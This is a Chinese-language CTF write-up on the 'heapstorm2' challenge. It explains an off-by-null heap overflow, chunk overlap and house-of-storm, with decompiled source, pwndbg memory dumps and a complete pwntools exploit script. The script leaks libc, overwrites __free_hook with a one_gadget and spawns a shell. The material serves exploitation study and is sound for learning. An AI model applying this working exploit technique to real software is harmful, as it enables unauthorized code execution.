aoff by null 简单地说就是堆溢出只能溢出一个字节,而且溢出的这个字节是\x00,如果我们申请的堆是以8结束的,那就刚好可以修改下一个chunk的size的最后一个字节为\x00
这个漏洞也是单个自己没啥用,一般配合unlink达成overlap(好像是这么叫的)。
大致思路就是free时触发unlink但是不是合并这个chunk的上一个chunk,而是合并上上个chunk,这样新合并的chunk里就含有一个没有free的堆,此时这个堆还有一个指针指向他,然后再把他申请出来,这样就有两个指针指向他了,构成了ufa
就用heapstorm2来实现offbynull
下面是源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 int sub_D92 () { puts ("1. Allocate" ); puts ("2. Update" ); puts ("3. Delete" ); puts ("4. View" ); puts ("5. Exit" ); return printf ("Command: " ); } void __fastcall add (__int64 a1) { int i; int v2; void *v3; for ( i = 0 ; i <= 15 ; ++i ) { if ( !sub_BCC(a1, *(_QWORD *)(16 * (i + 2LL ) + a1 + 8 )) ) { printf ("Size: " ); v2 = sub_1551(); if ( v2 > 12 && v2 <= 4096 ) { v3 = calloc (v2, 1uLL ); if ( !v3 ) exit (-1 ); *(_QWORD *)(16 * (i + 2LL ) + a1 + 8 ) = sub_BCC(a1, v2); *(_QWORD *)(16 * (i + 2LL ) + a1) = sub_BB0(a1, v3); printf ("Chunk %d Allocated\n" , (unsigned int )i); } else { puts ("Invalid Size" ); } return ; } } } int __fastcall update (_QWORD *a1) { int v2; int v3; __int64 v4; printf ("Index: " ); v2 = sub_1551(); if ( v2 < 0 || v2 > 15 || !sub_BCC(a1, a1[2 * v2 + 5 ]) ) return puts ("Invalid Index" ); printf ("Size: " ); v3 = sub_1551(); if ( v3 <= 0 || v3 > (unsigned __int64)(sub_BCC(a1, a1[2 * v2 + 5 ]) - 12 ) ) return puts ("Invalid Size" ); printf ("Content: " ); v4 = sub_BB0(a1, a1[2 * v2 + 4 ]); sub_1377(v4, v3); strcpy ((char *)(v3 + v4), "HEAPSTORM_II" ); return printf ("Chunk %d Updated\n" , (unsigned int )v2); } int __fastcall free (__int64 a1) { void *v2; int v3; printf ("Index: " ); v3 = sub_1551(); if ( v3 < 0 || v3 > 15 || !sub_BCC(a1, *(_QWORD *)(16 * (v3 + 2LL ) + a1 + 8 )) ) return puts ("Invalid Index" ); v2 = (void *)sub_BB0(a1, *(_QWORD *)(16 * (v3 + 2LL ) + a1)); free (v2); *(_QWORD *)(16 * (v3 + 2LL ) + a1) = sub_BB0(a1, 0LL ); *(_QWORD *)(16 * (v3 + 2LL ) + a1 + 8 ) = sub_BCC(a1, 0LL ); return printf ("Chunk %d Deleted\n" , (unsigned int )v3); } int __fastcall show (_QWORD *a1) { __int64 v2; __int64 v3; int v4; if ( (a1[3 ] ^ a1[2 ]) != 322401073LL ) return puts ("Permission denied" ); printf ("Index: " ); v4 = sub_1551(); if ( v4 < 0 || v4 > 15 || !sub_BCC(a1, a1[2 * v4 + 5 ]) ) return puts ("Invalid Index" ); printf ("Chunk[%d]: " , (unsigned int )v4); v2 = sub_BCC(a1, a1[2 * v4 + 5 ]); v3 = sub_BB0(a1, a1[2 * v4 + 4 ]); sub_14D4(v3, v2); return puts (byte_180A); }
这就是几个重要的功能,add是申请一个堆,然后把堆地址和size异或后在储存在程序自己申请的一个内存空间里(第一次见地址异或),update是向指定堆里写入,不过有size限制,只能输入size-12个字符,然后程序还会在补充12个字符,然后再补充一个\x00,这就构成offbynull了,free也没ufa.
看一下保护
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保护全开
回归分析程序本身,刚分析时发现有offbynull,可以利用这一点完成ufa.
先申请几个堆
1 2 3 add(0x18 ) add(0x508 ) add(0x18 )
看一看内存情况
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x55c8c5183000 Size: 0x21 Allocated chunk | PREV_INUSE Addr: 0x55c8c5183020 Size: 0x511 Allocated chunk | PREV_INUSE Addr: 0x55c8c5183530 Size: 0x21
大致思路,把chunk1分成两个chunk(姑且称为chunk3和chunk4),然后利用chunk2合并chunk3
先简单说一下unlink时的步骤,首先会判断这个chunk的prev_inuse是否为0,如果为0,就代表上个chunk是空闲的,然后再通过prev_size来索引到上个chunk合并,合并完后最后的size就是这个chunk的size加上prev_size的值。
一般chunk的prev_size就是上一个物理相邻的chunk的大小,prev_size一般在上一个chunk被申请或者释放是改变,如果我们什么都不做,当chunk4被申请下来时,prev-size就是0,因为chunk4不是空闲的,而且prev_inuse是1,根本不会发生unlink,要使prev_size一直是0x510,那就要对chunk1进行布置,当申请chunk3和chunk4时不会索引到prev_size来改变他的值,这就涉及另一个索引方式了,当一个chunk在bins上被申请时,会根据其size值索引到下一个物理相邻的chunk的prev_size,然后根据申请情况改变这个prev_size的值。
总结 :.要使prev_inuse为0,其次prev_size=0x510不改变
要完成这两步要在堆上布置两处地方,一个是chunk1的size位,让其被申请回来时不索引到chunk2,另一个是伪造chunk1的prev_size,通过chunk1的size索引到这个地方,改变伪造的prev_size(或许还有验证)
先让chunk2的prev_inuse为0,只要把chunk1给free掉就好了。然后要改变chunk1的size让其索引到伪造的prev_size,我们可以把chunk1的size由0x510改成0x500,只要伪造prev_size到对应位置就好了。
1 2 3 4 5 6 7 update(1 ,'s' *0x4f0 +p64(0x500 )) free(1 ) update(0 ,'s' *(0x18 -12 )) add(0x18 ) add(0x4d8 ) free(1 ) free(2 )
这样就完成了overlap,可以看一下内存情况
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> x/20 gx 0x561071a20020 0x561071a20020 : 0x49495f4d524f5453 0x0000000000000531 ->1 0x561071a20030 : 0x00007fe7da00ab78 0x00007fe7da00ab78 0x561071a20040 : 0x0000000000000000 0x0000000000000000 ->7 0x561071a20050 : 0x0000000000000000 0x0000000000000000 0x561071a20060 : 0x0000000000000000 0x0000000000000000 0x561071a20070 : 0x0000000000000000 0x0000000000000000 0x561071a20080 : 0x0000000000000000 0x0000000000000000 0x561071a20090 : 0x0000000000000000 0x0000000000000000 0x561071a200a0 : 0x0000000000000000 0x0000000000000000 0x561071a200b0 : 0x0000000000000000 0x0000000000000000
可以看见chunk1和chunk2合并了,然后合并的chunk包含chunk7(此时有一个指针指向他),然后再把chunk申请出来,就有两个指针指向chunk7了,构成了ufa,
chunk7是 large所以可以用houseofstorm来打0x13370800.此时只需要再来一个可以控制的chunk就好了,如法炮制
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 add(0x18 ) add(0x508 ) update(1 ,'s' *0x4f0 +p64(0x500 )) add(0x18 ) add(0x18 ) add(0x508 ) update(1 ,'s' *0x4f0 +p64(0x500 )) add(0x18 ) add(0x18 ) free(1 ) update(0 ,'s' *(0x18 -12 )) add(0x18 ) add(0x4d8 ) free(1 ) free(2 ) add(0x38 ) add(0x4e8 ) update(4 ,'s' *0x4f0 +p64(0x500 )) free(4 ) update(3 ,'s' *(0x18 -12 )) add(0x18 ) add(0x4d8 ) free(4 ) free(5 ) add(0x48 )
这样就能控制两个chunkl的fd,bk,fd_nextsize,bk_size了,让这两个一个在large一个在unsorted,其中一个chunk是chunk2,大小为0x4f0,一个现在还待在unsortefd,大小为0x4e0,构成houseofstorm得要一个较小的在largebin上,一个较大的在unsorted上,通过两次free(2)完成这一步
到这里就已经完成了houseofstorm的前置条件了,下面就通过houseofstorm来完成任意地址申请就好了。
houseofstorm前面捋过了,就不展开赘述了
下面是完整代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 from os import systemfrom pwn import *context.log_level='debug' elf=ELF('./heapstorm2' ) libc=ELF('/lib/x86_64-linux-gnu/libc.so.6' ) ogg=[0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] def add (size ): sh.recvuntil('Command: ' ) sh.sendline('1' ) sh.recvuntil('Size: ' ) sh.sendline(str (size)) def update (index,content ): sh.recvuntil('Command: ' ) sh.sendline('2' ) sh.recvuntil("Index: " ) sh.sendline(str (index)) sh.recvuntil('Size: ' ) sh.sendline(str (len (content))) sh.recvuntil("Content: " ) sh.send(content) def free (index ): sh.recvuntil('Command: ' ) sh.sendline('3' ) sh.recvuntil("Index: " ) sh.sendline(str (index)) def show (index ): sh.recvuntil('Command: ' ) sh.sendline('4' ) sh.recvuntil('Index: ' ) sh.sendline(str (index)) i=1 def pwn (): while True : add(0x18 ) add(0x508 ) update(1 ,'s' *0x4f0 +p64(0x500 )) add(0x18 ) add(0x18 ) add(0x508 ) update(1 ,'s' *0x4f0 +p64(0x500 )) add(0x18 ) add(0x18 ) free(1 ) update(0 ,'s' *(0x18 -12 )) add(0x18 ) add(0x4d8 ) free(1 ) free(2 ) add(0x38 ) add(0x4e8 ) update(4 ,'s' *0x4f0 +p64(0x500 )) free(4 ) update(3 ,'s' *(0x18 -12 )) add(0x18 ) add(0x4d8 ) free(4 ) free(5 ) add(0x48 ) free(2 ) add(0x4e8 ) free(2 ) fake_chunk=0x13370800 -0x20 p1=p64(0 )*2 +p64(0 )+p64(0x4f1 ) p1+=p64(0 )+p64(fake_chunk) update(7 ,p1) p=p64(0 )*4 +p64(0 )+p64(0x4e1 ) p+=p64(0 )+p64(fake_chunk+8 ) p+=p64(0 )+p64(fake_chunk-0x18 -5 ) update(8 ,p) add(0x48 ) p2=p64(0 )*5 +p64(0x13377331 ) p2+=p64(0x13370800 ) update(2 ,p2) p3=p64(0 )*3 +p64(0x13377331 )+p64(0x13370800 ) p3+=p64(0x1000 )+p64(fake_chunk+3 )+p64(8 ) update(0 ,p3) show(1 ) sh.recvuntil(']: ' ) heap=u64(sh.recv(6 ).ljust(8 ,'\x00' )) print hex (heap) p3=p64(0 )*3 +p64(0x13377331 )+p64(0x13370800 ) p3+=p64(0x1000 )+p64(heap+0x10 )+p64(8 ) update(0 ,p3) show(1 ) sh.recvuntil(']: ' ) hook_base=u64(sh.recv(6 ).ljust(8 ,'\x00' ))-0x58 -0x10 libc_base=hook_base-libc.symbols['__malloc_hook' ] print hex (libc_base) free_hook=libc_base+libc.symbols['__free_hook' ] p3=p64(0 )*3 +p64(0x13377331 )+p64(0x13370800 ) p3+=p64(0x1000 )+p64(free_hook)+p64(0x8 ) update(0 ,p3) update(1 ,p64(ogg[1 ]+libc_base)) free(1 ) sh.interactive() if __name__ == "__main__" : while True : sh = process('./heapstorm2' ) try : pwn() except : sh.close()